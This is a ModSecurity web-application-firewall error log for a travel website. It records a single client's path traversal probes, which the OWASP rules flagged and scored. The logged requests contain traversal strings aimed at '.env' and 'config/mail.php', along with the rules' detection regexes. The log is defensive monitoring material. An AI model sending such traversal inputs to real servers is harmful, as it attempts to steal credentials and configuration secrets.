[Fri Jul 17 08:55:07.633063 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?debug=..%2F..%2Fconfig%2Fmail.php&debug=pb4d1ZTI6T0-9R7hv3-DkUKzXqdEIK8K44vugcrDDWUrh-2Io4_nlSOXoJDBSmWUkwSa-JCAAalFIU8SL6FR_O0rUOlZgfFariNtej6ww-BKvZEgXwR-5IRwtQ1Ue0IjMfEM5NydI1iuyAeBQ0-4skBPkzmsoE6eJ58jnAv1KxpOTO_UH66wpOfkEQT-Iepj9dgTg4GRX3NhoSoqxLql5mOkr9ehWV0mj8pRZb9hRHndhLoiFSH5YGsEMGEcD4yoiObUFe8w7NDKK56PARgC_yUD&anything=CJKDBD33MC7IUWJT3RUT3RYLMWLBA52NGVDOWNP6A3BM6LGL7TVCNUAPLR3LFPV6O4F4IG7JSIORDR2Q7AFSYKQ66ZQNUU4YCXGUTHQZQ3PH4LZGVMV5CTCFAZOD..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUaAAAABI"]
[Fri Jul 17 08:55:07.633123 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUaAAAABI"]
[Fri Jul 17 08:55:07.633209 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkw7FYe46zHK_jL3PhQAAABk"]
[Fri Jul 17 08:55:07.633215 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../config/mail.php&debug=pb4d1ZTI6T0-9R7hv3-DkUKzXqdEIK8K44vugcrDDWUrh-2Io4_nlSOXoJDBSmWUkwSa-JCAAalFIU8SL6FR_O0rUOlZgfFariNtej6ww-BKvZEgXwR-5IRwtQ1Ue0IjMfEM5NydI1iuyAeBQ0-4skBPkzmsoE6eJ58jnAv1KxpOTO_UH66wpOfkEQT-Iepj9dgTg4GRX3NhoSoqxLql5mOkr9ehWV0mj8pRZb9hRHndhLoiFSH5YGsEMGEcD4yoiObUFe8w7NDKK56PARgC_yUD&anything=CJKDBD33MC7IUWJT3RUT3RYLMWLBA52NGVDOWNP6A3BM6LGL7TVCNUAPLR3LFPV6O4F4IG7JSIORDR2Q7AFSYKQ66ZQNUU4YCXGUTHQZQ3PH4LZGVMV5CTCFAZODRIK3CEHWY6CL4P..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUaAAAABI"]
[Fri Jul 17 08:55:07.633276 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../config/mail.php&debug=pb4d1zti6t0-9r7hv3-dkukzxqdeik8k44vugcrddwurh-2io4_nlsoxojdbsmwukwsa-jcaaalfiu8sl6fr_o0ruolzgffarintej6ww-bkvzegxwr-5irwtq1ue0ijmfem5nydi1iuyaebq0-4skbpkzmsoe6ej58jnav1kxpoto_uh66wpofkeqt-iepj9dgtg4grx3nhosoqxlql5mokr9ehwv0mj8przb9hrhndhloifsh5ygsemgecd4yoiobufe8w7ndkk56pargc_yud&anything=cjkdbd33mc7iuwjt3rut3rylmwlba52ngvdownp6a3bm6lgl7tvcnuaplr3lfpv6o4f4ig7jsiordr2q7afsykq66zqnuu4ycxguthqzq3ph4lzgvmv5ctcfazodrik3cehwy6cl4p..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUaAAAABI"]
[Fri Jul 17 08:55:07.633318 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUaAAAABI"]
[Fri Jul 17 08:55:07.633354 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUaAAAABI"]
[Fri Jul 17 08:55:07.636447 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBWAAAABs"]
[Fri Jul 17 08:55:07.636504 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBWAAAABs"]
[Fri Jul 17 08:55:07.637262 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?log=..%2F..%2F..%2F.env&anything=bG9K55Wo5aOsBIhx8C95Ecfo5IoVHI8eaJATqIMCcEewREEE7PWOIa1WaDuOHUOi9xni4PD2qad1v_hlDRA1qk8aadJ1-Yfqk0jSsikkZHoXU-2uaazoac8-FP79-_i_xecdXSwtq8Oiuqa4a4ymlxFUGJp78CRpJEVvDHRNXNjK3cdgqGp1pcJVkeQD7M4xdsE5ZljAhiGzh_JUIAn_4uslAcow9yLeUOtyBQg6W8jWwXXR-rb8DFKKeZ1RJbs2suUlSRn94LNmCVx9mmeTC02D&token=E3MGXWJNDNE3OUFSMXMJIGELHIBYBWN5UTQ7CH6AW4NV6ZWXJERMPBT22IPYXTJZWEFK52ZMOS7M3EQCA7B4DCSJRMQNQSZXWFDAIKSFVUEPI255EBZZL2OJBOI5PPPLO65WSI..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKwAAAA8"]
[Fri Jul 17 08:55:07.637315 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKwAAAA8"]
[Fri Jul 17 08:55:07.637393 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../../.env&anything=bG9K55Wo5aOsBIhx8C95Ecfo5IoVHI8eaJATqIMCcEewREEE7PWOIa1WaDuOHUOi9xni4PD2qad1v_hlDRA1qk8aadJ1-Yfqk0jSsikkZHoXU-2uaazoac8-FP79-_i_xecdXSwtq8Oiuqa4a4ymlxFUGJp78CRpJEVvDHRNXNjK3cdgqGp1pcJVkeQD7M4xdsE5ZljAhiGzh_JUIAn_4uslAcow9yLeUOtyBQg6W8jWwXXR-rb8DFKKeZ1RJbs2suUlSRn94LNmCVx9mmeTC02D&token=E3MGXWJNDNE3OUFSMXMJIGELHIBYBWN5UTQ7CH6AW4NV6ZWXJERMPBT22IPYXTJZWEFK52ZMOS7M3EQCA7B4DCSJRMQNQSZXWFDAIKSFVUEPI255EBZZL2OJBOI5PPPLO65WSIHIPURQF365KA32..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKwAAAA8"]
[Fri Jul 17 08:55:07.637460 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../../.env&anything=bg9k55wo5aosbihx8c95ecfo5iovhi8eajatqimcceewreee7pwoia1waduohuoi9xni4pd2qad1v_hldra1qk8aadj1-yfqk0jssikkzhoxu-2uaazoac8-fp79-_i_xecdxswtq8oiuqa4a4ymlxfugjp78crpjevvdhrnxnjk3cdgqgp1pcjvkeqd7m4xdse5zljahigzh_juian_4uslacow9yleuotybqg6w8jwwxxr-rb8dfkkez1rjbs2suulsrn94lnmcvx9mmetc02d&token=e3mgxwjndne3oufsmxmjigelhibybwn5utq7ch6aw4nv6zwxjermpbt22ipyxtjzwefk52zmos7m3eqca7b4dcsjrmqnqszxwfdaiksfvuepi255ebzzl2ojboi5ppplo65wsihipurqf365ka32..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKwAAAA8"]
[Fri Jul 17 08:55:07.637497 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKwAAAA8"]
[Fri Jul 17 08:55:07.637531 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKwAAAA8"]
[Fri Jul 17 08:55:07.638139 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBWAAAABs"]
[Fri Jul 17 08:55:07.638325 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.638751 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBWAAAABs"]
[Fri Jul 17 08:55:07.639413 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKwAAAA8"]
[Fri Jul 17 08:55:07.639592 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.639673 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUaAAAABI"]
[Fri Jul 17 08:55:07.639825 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.640010 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk-1pLmPpy2r_2CxfKwAAAA8"]
[Fri Jul 17 08:55:07.640315 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUaAAAABI"]
[Fri Jul 17 08:55:07.641439 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?log=..%2F..%2F..%2F..%2F.env&anything=SGLZVTHvJCHrZ-ecsIyJ8yIHZw0tgcg7mFw8XaWXjNSi1qITx5UaeLyjnXJIgfx0ynDbXwJRh9n6lsSuuZUAAJD5l1AY_R2-XCsebNn4p57QzBhHCvbRE-JCVFEw1Mn4jkFOQsKGl0eU91-bnfI_f19P9nW7QvBjJSsSoijq-UDEumn9jJe2_nHZsp4Co_GLRMaF_lFKBqKluoAcXVifKdYfnUtIOVKNfjf0KTqCgKBNVwj7HVBEy2aWkLXcVL0qTL8t-I2kUuYpMppH3L712qME&sid=H3IBT5WV4TXVSAPZWCKWXTOWJYCNFRS5NL5GXYLUTGOVGFW73OFRKUX4Z4DTGFQMD6DJW5ENXTARK7WQPVH55XE3EXYZZUGU5C2SW7X6TU7L3UUZREIMBZEGJHJ2YIVRO4P..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETaswAAAAo"]
[Fri Jul 17 08:55:07.641483 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETaswAAAAo"]
[Fri Jul 17 08:55:07.643157 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?log=..%2F..%2F.env&junk=yoFbyxIbi6nf1Q8weJkx_NcLw99NY2nF9Yiz8BoSdthAbHnS7-S_8q4AlRmRz9tJKThxag21hgBnDNtx1VqZtJ-X6TbsWVMB7UH5wzh6UzeYKrLT3bCQHU-ia-ipImmrtIEEdK-jCnJsikMe296D-CKmh1HazHztFoTpD6FCpn-qqxm7aipWJiEGhVvgniQnfSiffMlH7PSGYOHFuOzcPx5In122G5pS7eXN7XZfaMSqIAgiUrfxPRgI3msPbMbStCS3fA-aB-whT-o85ogeBCWH&extra=JEIRBUZG5CLJ4X7PFCPHO4GGH6MA5REG3CPRSS4FMJKTVQLO2GIQSRSJGDFBBZR6L23UI2WZJ2LRSLWJRNUGXPEUBWG7KXUBXMU7VHX76V6OUQ6UACIZGRLOH3RZL6OXWQFZTEEN4IC67S7..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fwAAABE"]
